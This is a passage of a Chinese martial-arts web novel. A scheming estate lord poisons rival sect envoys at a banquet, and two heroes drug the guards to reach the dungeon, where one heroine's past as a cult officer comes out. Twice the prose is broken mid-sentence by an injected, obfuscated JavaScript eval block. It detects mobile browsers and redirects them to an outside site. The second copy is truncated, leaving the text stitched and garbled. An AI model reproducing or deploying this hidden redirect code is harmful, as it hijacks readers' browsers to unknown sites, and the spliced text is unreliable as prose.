寇传维走后,那名弟子仍呆呆站在原地不动。其他弟子好不容易松一口气,一边活动筋骨一边三三两两聚在一起聊天,也有少数几个继续练剑的。一名弟子走到被训斥的那名弟子旁边,前者一手拍在后者的肩上,方才被训斥的那名弟子转过身来,道:“大师兄。” 瑚庄大师兄边潇道:“刁师弟,走,一会晚宴去看看今天来的客人是什么样。” 那名姓刁的弟子道:“不行的,我才惹了师父不高兴,要是再不按规矩来,不是撞枪口上么?” 边潇道:“哎呀没关系的,他一会就忘了。我听说这次一共来了两拨客人呢,肯定很热闹。” 姓刁的弟子迟疑了一会,道:“我……我还是继续练剑吧,要是师父回来发现我没练好,又要被骂,还要被罚。” 雨馀凉看向姬花青,不知道她接下来要怎么做。 姬花青道:“咱们也去宴会看看。” 夜幕降临,瑚庄四处灯火通明,宛如白昼。花厅上,瑚庄庄主寇传维已换上了一身绛紫色广袖长袍,那长袍宽松,却仍被寇传维的肚子顶出一个圆球状的凸起。只见寇传维从主位站起,抱拳举杯,满面春风道:“几位都是从水西远道而来,我瑚庄一年到头也请不来一位像诸位这样的贵客,不想今天一下子就将四位都奉为座上之宾,身为瑚庄庄主,寇某不胜荣幸,这一杯我先干为敬。”说毕仰头将杯中的酒一口喝干,接着将空荡荡的酒杯向众人展示。 主人开怀畅饮,但坐在两边的客人之间的氛围却有些古怪。 双方都没想到对方会跟自己前后脚来到瑚庄,更没想到的是,寇传维竟会将两方人马安排在同一场宴席上。 两方人马中,坐在左首的是聊氏九歌的湘君和湘夫人,而坐在右首的则是玄同教南护法覃七霄和十二长老之一的尹敕。 湘君是个看上去二十三四岁,模样很是英俊,但眉眼中略带阴恻之气的年轻男子。湘夫人则是相貌妆容颇美艳张扬,无论长相还是神情都极具攻击性的女子,看上去和湘君差不多年纪。 寇传维先行敬了一杯酒后,坐在宾客位的两方人马不好不表示,也各自举起酒杯道了声“请”后,将酒杯送往自己唇边抿下一口。 聊氏与玄同教并无仇怨,虽说聊氏与卫氏同属武林正道,而玄同教乃魔教邪道,二者本该水火不容才对,但实际上如今聊氏与卫氏相见才会分外眼红,近几十年来魔教少于在江湖上走动,和所谓的正道井水不犯河水,所以谁也不想主动招惹对方,到目前为止两方仍维持着表面的和气。 覃七霄和尹敕对寇传维的做法感到疑惑,寇传维不是不知道他瑚庄是玄同教设在水南的暗桩,总坛来人,自是越少人知道越好,可寇传维却直接安排他们和聊氏九歌的人同席饮宴。 湘君和湘夫人亦不知寇传维葫芦里卖的是什么药,他们二人如今之所以会身在瑚庄,说到底起因都是为了给河伯山鬼擦屁股。 河伯与山鬼这两个废物,家主交给他们一件那么简单的事都办得磕磕绊绊,有他们同在水南,竟还让大少司命丢了性命,家主聊以偲干脆直接把调查水西卫氏暗中与水南哪股势力合作的任务移交给了湘君和湘夫人。湘君和湘夫人通过一番调查,清楚了与水西卫氏秘密结盟的正是位于绵作府的瑚庄。瑚庄在水南也存在了一百多年之久,如今依然算得上是水南一个举足轻重的江湖势力,聊以偲一番考虑后,传信让湘君湘夫人去见寇传维,说服瑚庄转而为聊氏效力。 湘君和湘夫人是今日午前到的瑚庄,寇传维热情接待了二人。待他们说明来意后,寇传维没有当场对聊氏的提议做出答复,而是留二人在庄中歇息,并说会在今天的晚宴上和湘君湘夫人二位接着讨论这件事。 待到晚宴时分,湘君湘夫人来到花厅却发现他们不是唯一受邀的客人。拉拢瑚庄这种事本该密议,他湘君和湘夫人来过瑚庄都最好不要他人知道,却没想到玄同教也在这时派人来,寇传维还让他们和玄同教的人迎头碰上。 瑚庄庄主寇传维似是根本感受不到气氛的诡异,依旧热情地主持着这场宴席,主人和宾客,谁都没提起他们本来该谈的正事。 覃七霄感到有些口干,心想大概是瑚庄的菜太咸,于是又举起酒杯多喝了几口。数口过后,酒杯中琥珀色的酒液已然饮尽,覃七霄从酒壶中又倒出些酒在杯中。 覃七霄一边喝一边心想,这水南的酒倒是不错,味道特别,口感也清凉滑腻,琼浆玉液四字,大抵如此。 花厅外,边潇等几个胆大的瑚庄弟子猫着腰一边挤挤挨挨一边透过漏花窗往厅里瞧,突然每个人都感到头顶挨了一下,众弟子回头望去,只见邹管家站在他们身后,面无表情道:“回去练剑。” 这些瑚庄弟子神色悻悻,一哄而散。 而花厅上方房梁阴影中,雨馀凉和姬花青正蹲身屏息凝神看着下方诸人。 二人潜入花厅之前,姬花青告诉了雨馀凉潜行时的吐纳之法,并教他如何隐藏自己的气息,因此下方坐的虽都是高手,却没能察觉姬雨二人。 姬花青一开始以为这四人都是玄同教的人,看到后来才知原来对面对面一男一女是聊氏九歌的人,而玄同教总坛派来的这两个人,她一个也不认识。 她之所以要来瑚庄,便是因为先前在谷州府城外偶然得知夏篁来自瑚庄,那时她就感到蹊跷,瑚庄的人怎会蛮人的控蛊之法?难道玄同教和蛮疆有了什么联系?瑚庄又怎会到谷州府来闹出那么大动静?难不成这也是总坛那边的意思? 还有一种可能,这一切都是瑚庄背着总坛自作主张。带着一连串的疑问,姬花青决定在去往临蓟达成自己的最终目的之前,绕路去绵作看看。 只是没想到玄同教已经派了人来,这两个人姬花青都不认识,方才听寇传维叫他们“南护法”,“尹长老”,姬花青想,自己离教时,五护法当中东护法、西护法、北护法、中护法之职都有人担任,唯有南护法的位置尚且空悬,而十二长老中也没有姓尹的,想是这些年来职位调动,有不少自己没见过的生面孔担任教中要职。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14157454|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 姬花青感到有些疲惫,下意识地抬手捂脸。 但当她的手掌将自己的眼睛遮住后,突然一下把手拿开,然后看着自己的手若有所思。姬花青的这些动作被雨馀凉看在眼里,他不清楚这之间是否有什么联系,只是突然想起之前在破庙中,对上葛陟谯的时候,自己曾无意间用手蒙住了她的眼睛,她便奇怪地停下了所有的动作。 花厅中突如其来的桌椅碰撞声响将雨馀凉的思绪扯了回来,雨馀凉忙低头看去,只见覃七霄摇摇晃晃地站起来,他面前的桌上的酒杯倾倒,酒洒了一桌,覃七霄睁大眼睛看着寇传维,道:“这酒有问题!” 尹敕亦站了起来,原来方才愈发口渴的感觉不是错觉,他在起身的同时运起内力,为接下来可能马上展开的战斗做准备,却无比心惊地发现,自己的内力提不起来了,不仅如此,一旦开始运气,四肢百骸便传出阵阵难忍的疼痛。 尹敕的心当即就凉了半截。 寇传维仍是笑道:“玄同教的二位大人,还请稍安勿躁。” 覃七霄道:“寇传维,你要反了吗?你这颗脑袋不想要了?” 寇传维呵呵笑道:“南护法大人,吓唬谁呢,依我看,二位现下已经无法发功了,只能任人宰割,谁要谁的脑袋,着实难说得很。” 湘君和湘夫人一开始面对这突如其来的变故也是怔愣在当地,听到覃七霄说酒有问题,后又听寇传维说无法发功,心里一紧,立即催动内功,确认自己运使内功依旧无碍,这才稍稍放下心来。随后暗自推测寇传维安排今天这场晚宴的深意,寇传维此举,是要当着他们的面处置玄同教的人? 寇传维转向湘君和湘夫人,对他们恭敬颔首道:“二位大人的酒菜里是没有毒药的。” 见寇传维如此表态,加上上午寇传维跟他们说会在晚宴继续讨论是否与聊氏结盟的事,无论是湘君还是湘夫人,此刻内心都颇有些得意。 如此看来,寇传维是在用行动告诉他们,瑚庄在聊氏和玄同教中选择了聊氏。 也是,如今的聊氏在水西如日中天,明眼人都会知道该作何选择。湘夫人笑道:“寇庄主,恭喜您做出了明智的决定,我们聊氏对下属向来恩待。”她说到最后几个字时秀眉微蹙,感到喉咙很干,随着说话一阵紧似一阵,最后忍不住咳了两声,于是为自己的失态略为歉意地朝寇传维笑笑。 寇传维的笑容犹如一张面具般挂在脸上,道:“掺在灯油里的毒虽说起效没有直接服用那么快,但到了现在,时候也差不多了。” 湘君和湘夫人脸上骤然变色,他们来参加晚宴之前,瑚庄给他们安排的客房里是点了灯的,当时湘夫人还夸那灯点起来有一股特别的香味,所以两人都印象深刻。 湘夫人和湘君飞快对视一眼,马上运气,结果跟刚才运气的感觉完全不同,不仅像是感受不到内力的存在,周身四处还一阵一阵地疼痛。 湘夫人怒视寇传维道:“姓寇的,你这是什么意思?” 湘君亦瞪着寇传维道:“寇传维,你好大的胆子,你怎么敢给我们下毒?你以为和我们聊氏撕破脸会有什么好下场?” 寇传维略微收了些笑容,道:“湘君阁下,湘夫人阁下,先前忘了说了,寇某这家传之毒,中毒者情绪越激动,毒就会在体内扩散得越快,若是中毒过深,就算之后服下了解药,也会给经络造成不可逆的伤害,所以为了二位阁下的身体考虑,还请稍安勿躁。” 覃七霄噗的一声笑出来,指着湘君和湘夫人道:“没想到吧?这毒你们也有份,得意得太早啦!” 覃七霄在旁边哈哈大笑,尹敕却笑不出来,不管寇传维有没有给聊氏的人下毒,他和覃七霄都已经中了毒,接下来少不得受寇传维这个狗东西摆布,不知道覃七霄在那高兴个什么劲。 寇传维吩咐手下将玄同教和聊氏的人分别关进庄内地牢中,等覃七霄等人被押走后,寇传维问管家邹仕道:“夏篁和巴琅什么时候回庄?” “夏篁”这个名字让雨馀凉指尖一颤,同时他也觉得“巴琅”这两个字有些耳熟,可就是记不起在哪里听过,忽瞥见姬花青凝重的神色,这才想起之前与葛陟谯对峙时,姬花青似乎提到过这个名字。 66. 山庄(三) 雨馀凉陡然见此变故,不知道下一步该做什么,他看向姬花青,只见姬花青侧脸眉峰紧锁,身上却没半分动作,不知此刻在想些什么。 又过了一会,寇传维率领管家和手下离开了花厅,现下厅中只有几个仆役在收拾杯盘碗盏,姬花青示意雨馀凉跟自己一道从花厅大门溜出。 姬花青离开花厅后便施展轻功踩着庄内矮墙一路奔走,雨馀凉一边注意着脚下不发出声音引起人注意,一边将心中的疑问暂时咽下,只一语不发跟在姬花青身后。 雨馀凉此时的轻功跟他刚出谷州刀派那会比简直判若两人,要跟上姬花青并不吃力。雨馀凉感受着迎面吹来的凉风,同时看着弯弯折折的矮墙在自己脚下飞速后退。 随后姬花青突然放慢了脚步,雨馀凉亦随着姬花青缓速慢行,正当他不知姬花青为何突然减速时,一眼瞧见了一队提着灯笼的人马,再定睛看去,正是被寇传维手下押走的玄同教和聊氏诸人,雨馀凉心下明白过来,姬花青是冲着他们去的,更准确地说,应当是冲玄同教的那两个人去的。 之前在那座破庙中,葛陟谯说姬花青是玄同教的人,可雨馀凉压根不在意姬花青是什么人,也没去想葛陟谯说的是真话还是假话,并且那之后姬花青和雨馀凉都没有提起过这事,他其实已经渐渐淡忘了。可依照现在的情形来看,葛陟谯说的大概是真的。 因为姬花青也是玄同教的人,所以这两个人是她的同僚,姬花青跟过去,难道是要将他们救出来? 但雨馀凉心中还有一个疑问,若姬花青是玄同教的人,之前因长命锁被一众人马追杀那次,玄同教的人也出现了,可她并没有上前去打招呼。就算那时姬花青因为隐容术改变了外貌,玄同教的人认不出她,她为什么不主动去和他们相认?如果姬花青真是玄同教的人,她的这些同僚难道不会留下跟她一起对付连江万克礼等人?这样的话,她也不会伤了气血,不至于维持不了隐容术,那么到现在,他也许还是称她“木前辈”而不是“花青前辈”。 黑夜中潜行比白天容易得多,雨馀凉和姬花青一路跟过去,最终看见那队人马停在一道铁门前。 铁门前站着两个守卫,跟押着玄同教聊氏诸人的寇传维下属简短交流了几句后,其中一个守卫从腰间取下了一串钥匙,并用其中一把打开了铁门。 铁门打开后,拿钥匙的守卫引着这队人马走进门内,另一名守卫则仍站在门边。 过得片刻,雨馀凉见带着钥匙的守卫和寇传维那队下属又走了出来,唯独不见了聊氏和玄同教的四人。只见双方又交代了些什么,押送覃七霄等人的下属们就离开了,两名守卫重又站在铁门前。 雨馀凉见姬花青一会手伸进袖子里,一会又把手拿出来,似是还在犹豫的样子,忽然又见两人从另一侧过来。雨馀凉见那两名守卫见了这两人后脸上露出笑容,其中一名守卫更是伸了个懒腰。拿钥匙的那名守卫将腰间的一大串钥匙递给刚来的两人中其中一人,双方也简单说了几句话后,先前的两名守卫便离开了,之后来的那两人则代替他们站在铁门外。 原来是换班,雨馀凉心想。 只听姬花青低声道了句:“嘿,运气真不错。”说毕便将袖子里的东西掏了出来。雨馀凉见姬花青拿出的那东西似是不到两寸的细棒,不过黑夜中到底看不真切,无法确定究竟是什么。 雨馀凉听见姬花青的声音轻轻从旁边传来:“馀凉,你先待在这别动,一会我叫你时你再下来。” 雨馀凉嗯了一声,只觉身边清风一拂,姬花青方才还待着的地方便已空无一人了。 姬花青身着黑衣,夜幕下行动便似融化在黑暗中一般,连雨馀凉都要仔细分辨一会,才能看见姬花青到了什么地方。只见姬花青先是跃至花坛边的石灯笼旁,将细棒在灯笼里探了一会,雨馀凉看姬花青动作,有些意识到那细棒是什么了。 是香,准确地说,是迷香。 随后姬花青一只袖子掩住口鼻,同时携香接近铁门,才过得片刻,雨馀凉只听见“扑通”、“扑通”两声,便看见铁门前的两个守卫皆倒在地上。姬花青拇指食指并拢将香掐灭后,朝着雨馀凉的方向招招手,雨馀凉见状,忙从墙头跃下。 等雨馀凉蹑手蹑脚来到姬花青身边时,姬花青也才从其中一名守卫腰间取下钥匙后站起身,姬花青将这一大串钥匙提在面前看了看,问雨馀凉:“馀凉,你刚刚看清他们开铁门用的是哪把钥匙吗?” 雨馀凉摇摇头。他一来不知道姬花青这么直接,上来就是迷晕守卫偷钥匙劫狱,就算看清了是哪把钥匙过了这么一会也记不住了。二来他们方才待的墙头离铁门有一段距离,加上还是晚上,就这还能看清楚钥匙之间的细微差别才有鬼。 姬花青道:“那就只能一把一把试了。”说着便将钥匙一把接着一把插入锁孔中。 好在他们有足够的时间。适才姬花青将手伸进袖子又拿出来,就是拿不定主意要不要当时就下去用香迷晕守卫,还好姬花青犹豫了一会,她运气不错,换班的时间刚好就在那会,否则姬花青稍早些时候下去,刚好就会撞上前来换班的守卫。而这一班守卫刚来,离下一次换班就还有好些时间。 试到第十八把还是第十九把时,“喀锵”一声,铁门的锁打开了,姬花青伸手推开铁门,和雨馀凉一同走了进去。 姬花青进到铁门另一边后,将铁门轻轻掩上。只见墙壁上挂着一排火把,一道楼梯通往地下。 姬花青对雨馀凉道:“抓紧时间。”两人一前一后沿着楼梯向下走去。 走到最下面后,出现在两人面前的,便是一间间牢房。 姬花青本来已经准备一间间牢房挨个找过去,结果在从楼梯下来的第一间牢房中,就看见了南护法和尹长老的身影。 南护法和尹长老听见牢房外的动静,都朝牢门栅栏的方向望去,这样一来刚好和姬花青以及雨馀凉对视。 姬花青见他们注意到自己,便准备说话,也就是在这时,姬花青觉得其中那个南护法,也就是高马尾少年看向自己的眼神有些奇怪。 这眼神让姬花青有些不自在,不过她一开始倒也没放在心上,只道:“我是来救二位出去的。” 尹敕道:“救我们出去?你是谁?” 姬花青道:“我是谁不重要,你们只需要知道我是来帮你们的就好。” 南护法依旧偏着头,眼睛直直盯着姬花青的脸。 姬花青虽没将目光一直停留在那少年身上,却能感觉到他一直在看自己,眼神跟尹长老的完全不同,这位南护法似乎要将自己的脸盯出一个洞来。 姬花青有些做不到将这一眼神忽略了,也转头看向南护法。四目相对,那少年还是没有将目光移开的意思。 姬花青有些莫名其妙,问道:“小兄弟,你这样看着我做什么?” 那少年的目光越发直了,突然开口道:“花青姐?” 这三个字声音不大,但传入耳中,姬花青只觉似一道惊雷在头顶上炸开,震耳欲聋。 姬花青睁大了眼睛,无数个念头在脑海中闪过。想说的话太多,结果只是略微张了嘴巴,一句话也说不出来。 姬花青突然想找块什么布巾子之类的东西擦擦汗:“你……你是……” 那少年道:“花青姐,是我啊,你不认得我了?”他的声音含了些委屈,可看他神情,却颇为欢喜。 姬花青汗颜,心想别说这些了,赶紧说你是谁。 似乎是看出了姬花青心里所想,那少年接着就道:“我是覃七霄啊!” 姬花青眼前一黑。 没想到,真没想到,万万没想到,总坛派来的人,竟然是覃七霄。当年那个小屁孩,如今竟然成了南护法。 姬花青还想挣扎一下,道:“姬花青是谁?你认错了吧。” 覃七霄道:“花青姐,你就别骗我了,这么多年过去,先不说你相貌几乎没变,就是有跟你长得相像的人,也不会跟你的声音一模一样,你的声音我是记得的。花青姐,这几年来你去哪了?” 姬花青沉默。 是啊,哪跟你一样,数年不见,小屁孩长成了少年,不仅样子认不出来了,声音也变了。 姬花青认为寇传维也有责任,他妈的,为什么叫尹敕就是“尹长老”,叫覃七霄就是“南护法”,他哪怕叫“覃护法”,姬花青都有可能想到这少年护法就是当年的屁孩子。 早知道有熟人,她就先蒙个面再来了。 一旁的尹长老道:“花青姐?是……姬花青?” 尹敕是姬花青离教后才被从分坛调至总坛,所以虽听说过姬花青的名字,但从没见过她的脸。 覃七霄道:“是啊,就是我教的右使。” 雨馀凉听了后极缓极缓地将头转向姬花青,姬花青也将头极缓极缓地转向雨馀凉。 雨馀凉对于姬花青确是魔教中人倒没有多惊讶,却没想到姬花青是魔教右使。他虽不清楚玄同教内具体的职位设置,却也知道自教主之下便是左右二使者了。想到自己竟和魔教右使一路同行数月,还跟她学了魔教武功,雨馀凉一时心情有些复杂。 尹敕冷冷道:“右使?说是前右使比较准确吧。” 覃七霄道:“尹兄弟,话不能这么说。” 尹敕道:“那应该怎么说?跟叛教之人有什么好说?她既背叛我教,跟那个寇传维便是一样,你还当她是你的花青姐哪?你对她这么毫无防备,当心一不留神就把命丢了。” 覃七霄对姬花青道:“花青姐,当年你为什么离教?六年前,你去照水帮清理门户,这一去就再无音信,我们先开始都以为你……后来知道你还活着,可你也再没回到教里。” 听了覃七霄的话,雨馀凉这一惊非同小可,照水帮灭门一事江湖上很多人都知道,只是凶手到底是谁却众说纷纭。雨馀凉做梦都想不到,自己竟跟灭门惨案的凶手同行了一路。 想到这,他不禁打了个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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尹敕道:“这怎么可能?不向教主汇报实情,便是欺瞒教主,与叛教何异?这种事我做不出来!再者,你是我教叛徒,玄同教的规矩,任何玄同教徒在教外行走时碰见叛教之人,格杀勿论。若不是眼下中毒被困,我和七霄早就应该杀了你才是。” 覃七霄道:“其实……” 尹敕制止覃七霄:“七霄,说那么多干嘛?”一边说,一边对覃七霄使眼色,覃七霄想了想,也没将之后的话说下去。 姬花青道:“除非你们答应我的条件,并且立誓,否则我是不会救你们的。从这里出去,或者困死在这里受寇传维摆布,你们选吧。”立下誓言是否遵守只在人心,只是江湖中人大都将信义看得极重。姬花青叫覃尹二人立誓只为多一层保障,也并没有期望他们一定会遵守。 尹敕正说了个“你——”姬花青便继续道:“教里派你们来,自然是有要事需要你们去做,你们就这样栽在寇传维手上,不仅自己丢了性命,于玄同教更是无益。我把你们救出去,你们尽可以去做教里交代给你们的任务,不过是回教后不说见过我罢了。两种选择哪样对你们有益,哪样对玄同教有益,还需要我多说吗?”她顿了顿,道:“为了小节和一时之气而误了教中大事,没有资格指责我叛教吧?” 尹敕握紧了拳头,道:“你究竟想做什么?究竟在为何方势力做事?” 姬花青道:“我不为任何人做事,江湖上的事早就和我无关了。” 尹敕道:“那你现在是在做什么?” 姬花青道:“做我自己想做的事。” 尹敕冷笑道:“你想做什么就做什么,对吗?” 姬花青道:“是啊,说不定有一天,现在手头上的事我也不想做了。” 尹敕觉得姬花青随意,过于随意。这种随意让他觉得很不爽。 姬花青看向覃七霄,突然微不可察地叹了口气,道:“七霄,我只是不想让教中知道我的行踪。请你相信,不管怎样,我绝不会做损害玄同教的事。” 覃七霄朝姬花青看了一会,道:“好,花青姐。”他竖起三指,道:“我覃七霄在此立誓,若能身上毒解,逃出囚牢,顺利解决此间之事,并和同僚尹敕平安回到教中,便不会将在绵作瑚庄时有关姬花青的讯息告诉除我覃七霄和尹敕之外的任何人。若有违此誓,天打雷劈,不得好死。” 姬花青注意到覃七霄立誓时提到了“在绵作瑚庄时”六字,知道覃七霄只是不把这次在瑚庄见到她的事告诉教中,若以后再碰面,这誓言就不算数了。对此她也没有提出异议,只心想,下次再见面时,教中人是否知道我的行踪,也不重要了。 尹敕见覃七霄立誓,犹豫半晌后,也咬咬牙立了誓。 姬花青道:“不能再浪费时间了,再说下去,就会被发现了。你们眼下无法运功,就是将你们从这里带出来,跑也跑不远。我得先去把解药找来,等你们解了毒,再说之后的事。” 覃七霄双手握住牢门铁栏,道:“是要先解毒,妈的,这毒让我难受死了!” 姬花青道:“身上很痛么?” 覃七霄道:“身上只有运功的时候才会痛,虽然内力也运使不起来就是。只要不强行催动内力,倒是没什么大碍,就是口干得很。” 姬花青道:“我马上去找解药。”说着转身欲走。 姬花青身后,覃七霄还是忍不住开口问道:“花青姐,难道真如大家所说的那样,你投靠岑氏了吗?” “这些不重要。”姬花青手一扬,宽大的袖子下滑露出小臂,头也不回地道:“无论是玄同教,还是岑氏,都是一样的。” 67. 山庄(四) 从地牢里出来后,雨馀凉见门口的两个守卫还躺在那里,姬花青将钥匙重新挂回其中一个守卫腰间。 雨馀凉道:“花青前辈,这两个人怎么处理?” 姬花青道:“不用管,等他们自己醒就好。” 雨馀凉道:“可他们醒后不会觉得哪里不对吗?” 姬花青道:“我这迷香,会让人觉得自己只是太困忍不住睡了一觉。” 此刻更深露重,二人复又跃上墙头,雨馀凉道:“花青前辈,我们接下来是要去找解药么?” 姬花青道:“是。” 离开之前,雨馀凉回头看向地牢的方向,除他们方才见到的玄同教的覃七霄和尹敕外,寇传维还将另外两个人也关进了地牢中。 这两人便是湘君和湘夫人。 先前雨馀凉在晚宴上听寇传维称那一男一女为“湘君阁下”、“湘夫人阁下”,当即便心中微动,之后又从他们和寇传维言语中知道前者来自聊氏,雨馀凉便确定了,这对男女正是鱼晚衣的同僚,与鱼晚衣和邢勘一样,是聊氏九歌的成员。 方才进到地牢中,雨馀凉也想顺便看看湘君和湘夫人被关在什么位置,但瑚庄的人可能是有意将聊氏和玄同教的人远远隔开,楼梯口便是关押覃尹二人的牢房,湘君和湘夫人却不知道关在哪里,至少雨馀凉站在关押覃尹二人的牢房前向周围看了良久,都没见到他们的身影。 雨馀凉跟着姬花青在庄中奔走,只觉这瑚庄极大,姬花青一时也不知道到那里去寻找解药。二人正寻觅间,忽看见一座五间阔的房屋中还亮着灯。姬花青对雨馀凉比了个手势,轻轻巧巧落在屋外,雨馀凉亦跟着悄然落下。 姬花青和雨馀凉逐渐挨近窗下,只听寇传维的声音从里面传出:“水南的武林盟主本就不该姓李!” 如今的水南的武林盟主名叫李愈,五百多年前卫氏内讧时,身为卫氏属下的李氏趁机将水南武林据为己有,自己当了水南的武林盟主,而卫氏内斗,已经损伤了太多元气,都无力去顾及自立门户的李氏,这才有了如今江湖三分的局面。 一人说道:“庄主说得没错,他李家这武林盟主本就是偷来的,祖先用那样不光彩的手段得到这个位置,子孙后代还以为自己就是正统,像模像样地要守住这个名号,看他们那一张张大义凛然的脸,真是可笑。”说话的这男声十分温雅,又带着几丝隐隐约约的妖调,听上去十分熟悉,雨馀凉很快反应过来,方才说话的人,正是夏篁。 雨馀凉听见夏篁的声音,震惊之余又想:“看样子,他们对我们水南的武林盟主十分不满,所以才会招待水西玄同教、聊氏的客人,可又为什么将这两方人下毒后关起来?” 水西卫氏与聊氏近几年来的明争暗斗愈发激烈。一直以来,聊氏都想将水南武林从李氏手中夺回,并以此壮举积累足够声望,继而将卫氏从水西武林盟主的位置赶下,自己成为水西武林的话事人。而作为对聊氏这种意图的反制,卫氏则千方百计阻止聊氏在水南的活动,顺便尝试自己将水南武林重新收回卫氏手中。 所以早在一年前,水西的武林盟主卫尧觉便派人来到瑚庄,提出要与寇传维暗中结为盟友。当时有寇氏的长辈阻止过寇传维,倒不是因为不能背叛水南的武林盟主,而是瑚庄是玄同教暗中设在水南的据点,若一朝有事,则可与玄同教里应外合。一百多年前,寇传维的先祖寇仅谆深受玄同教主裴秉延信赖,他本人对玄同教也是忠心耿耿。为了掩人耳目,当年瑚庄明面上的庄主由寇仅谆的表亲担任,而寇仅谆则在暗中统领着瑚庄。 瑚庄是玄同教安插在水南的暗桩,这个秘密由瑚庄寇氏子孙代代相传,若寇传维背叛玄同教,也是违背了祖宗的意愿。 那位寇氏的族叔告诉寇传维,他们只需要做好玄同教交给他们的事即可,至于江湖上其他事,不要去搅和。哪怕其他人斗得头破血流,都跟瑚庄无关。若寇传维觉得有必要与水西卫氏结盟,也应该先问问玄同教的意思。 然而寇传维却无视了这位族叔的意见,他认为,玄同教已经不是当年的那个玄同教,谁是永远的主,而谁又是永远的臣?寇传维有雄心,有壮志,他们寇氏凭什么世世代代都要被玄同教役使?而摆脱玄同教就完了吗?寇传维有更大的野心,玄同教反叛得,那么武林盟主也反叛得,这水南的武林盟主,又为什么不能是他们寇氏? 于是寇传维答应了与卫尧觉合作。半年多前,卫尧觉得到情报,聊氏打算派人去到水南的九寒山牢,目的是为了从牢里救出九歌的一名成员。卫尧觉知道九歌是直接听命于聊氏家主的精锐,于是让与九寒山牢同在水南的瑚庄想个办法,不仅让劫狱的人和越狱的人都出不来,又不让聊氏看出是他们卫氏所为。 于是寇传维派出了夏篁。 寇传维刚好于不久前得到了水南武林盟主李愈派自己手下的唐奕才和郑宝卿去往谷州府的消息,于是他告诉卫氏,自己这一步棋,不仅可以让九歌的河伯山鬼交待在九寒山牢,还能顺便在谷州府把唐奕才和郑宝卿一锅端了,断了水南武林盟主李愈的左右手,瑚庄再火速去临蓟控制住李愈,接着就是敞开大门迎候卫盟主。 寇传维表面上说要奉卫尧觉为新主,可他心里却想的是怎么样让自己成为水南的武林盟主。所以他吩咐夏篁,聊氏九歌的人大可不必去管,他们要做的,只是将唐奕才和郑宝卿截杀在水南就行了。聊氏九歌的人留着,还可以让他们继续和卫氏制衡,只要聊氏和卫氏相互把对方绊住,情况于自己成为水南武林盟主就更有利。 夏篁来到谷州府,在踩点的过程中,发现了雨休这个武学理论怪才的存在,为了自己的行动更方便,也为了让自己的武功得到提升,夏篁主动去结识了雨休,同时也改变了雨馀凉的人生轨迹。 可由于姬花青的介入,瑚庄的计划出现了一些意外,唐奕才和郑宝卿没死,夏篁带着任务失败的消息回到了瑚庄。 如此关键的一步搞砸了,寇传维大为光火,本想惩处夏篁,但瑚庄从蛮疆请来的客卿巴琅劝阻了寇传维,巴琅对寇传维道:“寇庄主息怒,夏兄的手段,和平日对您对瑚庄的忠心您素来是知道的,此次失手,实在是因为对方太过厉害,须怪不得夏兄。何况这次虽没能成功击杀唐奕才和郑宝卿,悬丝蛊和苏生蛊于实战中的效用倒是得到了实践,在下还需要夏兄将这些中蛊之人的表现一一告诉在下,从而进行新的试验,夏兄和在下若能研制出更厉害的蛊术,也能更好地帮庄主达成心愿。”夏篁和巴琅平时就在一处共同研究蛊毒蛊术,夏篁去谷州时所携带的两种蛊是由巴琅培育出,也正是因为有巴琅的悉心传授,所以夏篁虽不是蛮人,却能熟练使用蛊术,驭使蛊虫。巴琅替夏篁求情免去责罚后,夏篁对巴琅更是感激。 而现下聊氏和玄同教都派人来到瑚庄,前者是为了把瑚庄从卫氏那边争取过来,后者则是来兴师问罪。不过寇传维在晚宴前与覃七霄和尹敕的交谈中发现,玄同教似也不想和瑚庄闹翻,言语中更多是挽回之意。寇传维心想,玄同教果然不复当年,从前玄同教鼎盛的时候,对背叛行为绝不姑息,丝毫没有原谅的余地,可如今竟像是来劝瑚庄回心转意一般。曾令整个武林闻风丧胆的魔教,竟也会有如此低声下气的一天。 眼下摆在寇传维面前的选择有水西卫氏,聊氏,以及玄同教,而他也可以谁都不选。这种被多方势力争取的感觉让寇传维感到极其美妙,而他也确实拿不定主意该选哪方。虽然很为难,但寇传维的最终目标十分清晰,那便是自己成为水南的武林盟主。也正是因为如此,所以注定了他无论和聊氏还是卫氏结盟,都是暂时的。 平时夏篁和巴琅都在距瑚庄数里外山林的龙虎寨中研究蛊术,今日寇传维把他们二人都叫回瑚庄,便是为了和他们商讨这个问题。 这时又有一人说道:“寇庄主要自己坐上那个位置,依在下之见,聊氏和卫氏选哪个都是可行的,这二者并无差别。水西卫氏向来是傀儡武林盟主,真正统领水西武林的是掌盟。聊氏曾为掌盟,不可小觑,但如今的那位聊氏家主只是个草包。且我听说如今的水西武林盟主自从继承父亲的位置以来就一直有一个宏伟的目标——终结掌盟这一称号,使武林盟主成为水西武林真正的主人。而他也的确为达成这一目标做了很多,所以现下两者孰强孰弱,确实难说。” 这声音既不是夏篁也不是寇传维,只听寇传维道:“巴先生来自蛮疆,对水西的形势却也了解得如此清楚,真叫寇某刮目相看。” 被称为“巴先生”的大约就是方才说话的那人,果然同样的声音再次响起:“庄主谬赞了。” 雨馀凉心道:“巴?难道这个‘巴先生’,就是巴琅么?” 念及此,雨馀凉转头看向姬花青。却见姬花青只是面无表情地听着屋里的对话,并无什么特殊反应。 寇传维又道:“玄同教如何?” 巴琅轻声笑道:“选择玄同教是下策中的下策。” 寇传维道:“愿聆巴先生高见。” 巴琅道:“寇庄主既已做出了背叛玄同教的行为,相信心中已有答案。” 寇传维道:“可如今玄同教派人来,听他们的意思,似是有意要与瑚庄修好。” 